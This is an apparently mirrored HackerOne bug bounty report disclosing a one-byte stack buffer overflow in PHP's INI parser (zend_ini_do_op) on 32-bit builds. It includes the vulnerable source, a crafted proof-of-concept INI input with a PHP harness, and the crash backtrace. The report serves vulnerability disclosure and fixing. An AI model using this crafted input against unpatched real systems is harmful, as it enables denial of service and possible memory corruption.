Lucene search

K
hackeroneXixabangm4H1:248601
HistoryJul 12, 2017 - 9:21 a.m.

Internet Bug Bounty: PHP INI Parsing Stack Buffer Overflow Vulnerability

2017-07-1209:21:09
xixabangm4
hackerone.com
88

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.003 Low

EPSS

Percentile

62.7%

Description:

A stack buffer overflow exists in the latest stable release of PHP-7.1.5 and PHP-5.6.30 in PHP INI parsing API, which may accept network / local filesystem input. On malformed inputs, a stack buffer overflow in zend_ini_do_op() could write 1-byte off a fixed size stack buffer. On installations with the stack smashing mitigation, this would cause an immediate DoS; upto optimization levels, build options and stack buffer overflow mitigations, this vulnerability may allow corrupting other local variables or the frame pointer, potentially allows remotely executing code.

Impact:

Affects 32-bit builds of PHP 5 before 5.6.31 (ChangeLog) and PHP 7 before 7.1.7 (ChangeLog).
Resolved PHP bug report, will update the pending CVE.

Exploitability:

If the specific build affected has built-in stack smashing mitigation, an immediate DoS can be expected. If no such mitigation in place, it is possible to overwrite one byte of the adjacent variable on stack, or the stack frame pointer, depending on compiler optimizations. The issue can be triggered via a crafted .ini file (not limited to php.ini - which is usually protected), an INI string that gets passed into parse_ini_string(), or the command-line option for INI string (not really a valid attack vector except for demonstration).

In php-7.1.5/Zend/zend_long.h:

110 #if SIZEOF_ZEND_LONG == 4
111 # define MAX_LENGTH_OF_LONG 11
112 # define LONG_MIN_DIGITS "2147483648"
113 #elif SIZEOF_ZEND_LONG == 8
114 # define MAX_LENGTH_OF_LONG 20
115 # define LONG_MIN_DIGITS "9223372036854775808"
116 #else
117 # error "Unknown SIZEOF_ZEND_LONG"
118 #endif

In php-7.1.5/Zend/zend_ini_parser.c:

 123 /* {{{ zend_ini_do_op()
 124 */
 125 static void zend_ini_do_op(char type, zval *result, zval *op1, zval *op2)
 126 {
 127         int i_result;
 128         int i_op1, i_op2;
 129         int str_len;
 130         char str_result[MAX_LENGTH_OF_LONG];
 131 
 132         i_op1 = atoi(Z_STRVAL_P(op1));
 133         zend_string_free(Z_STR_P(op1));
 134         if (op2) {
 135                 i_op2 = atoi(Z_STRVAL_P(op2));
 136                 zend_string_free(Z_STR_P(op2));
 137         } else {
 138                 i_op2 = 0;
 139         }
 140 
 141         switch (type) {
 142                 case '|':
 143                         i_result = i_op1 | i_op2;
 144                         break;
 145                 case '&':
 146                         i_result = i_op1 & i_op2;
 147                         break;
 148                 case '^':
 149                         i_result = i_op1 ^ i_op2;
 150                         break;
 151                 case '~':
 152                         i_result = ~i_op1;
 153                         break;
 154                 case '!':
 155                         i_result = !i_op1;
 156                         break;
 157                 default:
 158                         i_result = 0;
 159                         break;
 160         }
 161 
 162         str_len = zend_sprintf(str_result, "%d", i_result);
 163         ZVAL_NEW_STR(result, zend_string_init(str_result, str_len, ZEND_SYSTEM_INI));
 164 }
 165 /* }}} */

The minimums, “-2147483648” and “-9223372036854775808” are of length 11 and 20 respectively,
the proper definition of str_result[] array would be: str_result[MAX_LENGTH_OF_LONG + 1]. A
crafted ini entry would cause an overflow.

Test script:

$ cat input.ini
0=0&~2000000000

$ cat input.php
<?php 

$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];

$file_loc = dirname(__FILE__)."/".$argv[1];

var_dump(parse_ini_file($file_loc, true, INI_SCANNER_NORMAL));

?>

To reproduce:

$ bin/php input.php input.ini

*** buffer overflow detected***: bin/php terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x68e4e)[0xb7527e4e]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x6b)[0xb75ba85b]
/lib/i386-linux-gnu/libc.so.6(+0xfa6ea)[0xb75b96ea]
/lib/i386-linux-gnu/libc.so.6(+0xf9e48)[0xb75b8e48]
/lib/i386-linux-gnu/libc.so.6(_IO_default_xsputn+0x8e)[0xb752fc0e]
/lib/i386-linux-gnu/libc.so.6(_IO_vfprintf+0x89b)[0xb7502f3b]
/lib/i386-linux-gnu/libc.so.6(__vsprintf_chk+0xb1)[0xb75b8f01]
/lib/i386-linux-gnu/libc.so.6(__sprintf_chk+0x2f)[0xb75b8e2f]
bin/php[0x82e7aa0]
bin/php[0x82e87d3]
bin/php(zend_parse_ini_file+0x47)[0x82e8b07]
bin/php[0x8255788]
bin/php[0x83631f6]
bin/php(execute_ex+0x22)[0x8353c52]
bin/php(zend_execute+0x13b)[0x83a341b]
bin/php(zend_execute_scripts+0x30)[0x8313010]
bin/php(php_execute_script+0x286)[0x82b3f26]
bin/php[0x83a57de]
bin/php[0x80683b9]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb74d8a83]
bin/php[0x8068444]
======= Memory map: ========
08048000-0888d000 r-xp 00000000 08:01 704181     /home/weilei/php7_gdb/bin/php
0888d000-0888e000 r--p 00844000 08:01 704181     /home/weilei/php7_gdb/bin/php
0888e000-08899000 rw-p 00845000 08:01 704181     /home/weilei/php7_gdb/bin/php
08899000-088b2000 rw-p 00000000 00:00 0 
09ae7000-09b9a000 rw-p 00000000 00:00 0          [heap]
b7000000-b7200000 r--p 00000000 08:01 271314     /usr/lib/locale/locale-archive
b7200000-b7400000 rw-p 00000000 00:00 0 
b7464000-b7480000 r-xp 00000000 08:01 787579     /lib/i386-linux-gnu/libgcc_s.so.1
b7480000-b7481000 rw-p 0001b000 08:01 787579     /lib/i386-linux-gnu/libgcc_s.so.1
b7496000-b74bf000 rw-p 00000000 00:00 0 
b74bf000-b7667000 r-xp 00000000 08:01 787552     /lib/i386-linux-gnu/libc-2.19.so
b7667000-b7669000 r--p 001a8000 08:01 787552     /lib/i386-linux-gnu/libc-2.19.so
b7669000-b766a000 rw-p 001aa000 08:01 787552     /lib/i386-linux-gnu/libc-2.19.so
b766a000-b766d000 rw-p 00000000 00:00 0 
b766d000-b7670000 r-xp 00000000 08:01 787569     /lib/i386-linux-gnu/libdl-2.19.so
b7670000-b7671000 r--p 00002000 08:01 787569     /lib/i386-linux-gnu/libdl-2.19.so
b7671000-b7672000 rw-p 00003000 08:01 787569     /lib/i386-linux-gnu/libdl-2.19.so
b7672000-b7673000 rw-p 00000000 00:00 0 
b7673000-b76b7000 r-xp 00000000 08:01 787602     /lib/i386-linux-gnu/libm-2.19.so
b76b7000-b76b8000 r--p 00043000 08:01 787602     /lib/i386-linux-gnu/libm-2.19.so
b76b8000-b76b9000 rw-p 00044000 08:01 787602     /lib/i386-linux-gnu/libm-2.19.so
b76b9000-b76cc000 r-xp 00000000 08:01 787678     /lib/i386-linux-gnu/libresolv-2.19.so
b76cc000-b76cd000 ---p 00013000 08:01 787678     /lib/i386-linux-gnu/libresolv-2.19.so
b76cd000-b76ce000 r--p 00013000 08:01 787678     /lib/i386-linux-gnu/libresolv-2.19.so
b76ce000-b76cf000 rw-p 00014000 08:01 787678     /lib/i386-linux-gnu/libresolv-2.19.so
b76cf000-b76e4000 rw-p 00000000 00:00 0 
b76e4000-b76e5000 r--s 00000000 08:01 554280     /home/weilei/php7_gdb/input.ini
b76e5000-b76e6000 r--p 00855000 08:01 271314     /usr/lib/locale/locale-archive
b76e6000-b76e8000 rw-p 00000000 00:00 0 
b76e8000-b76ea000 r--p 00000000 00:00 0          [vvar]
b76ea000-b76ec000 r-xp 00000000 00:00 0          [vdso]
b76ec000-b770c000 r-xp 00000000 08:01 787528     /lib/i386-linux-gnu/ld-2.19.so
b770c000-b770d000 r--p 0001f000 08:01 787528     /lib/i386-linux-gnu/ld-2.19.so
b770d000-b770e000 rw-p 00020000 08:01 787528     /lib/i386-linux-gnu/ld-2.19.so
bff25000-bff47000 rw-p 00000000 00:00 0          [stack]
Aborted

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.003 Low

EPSS

Percentile

62.7%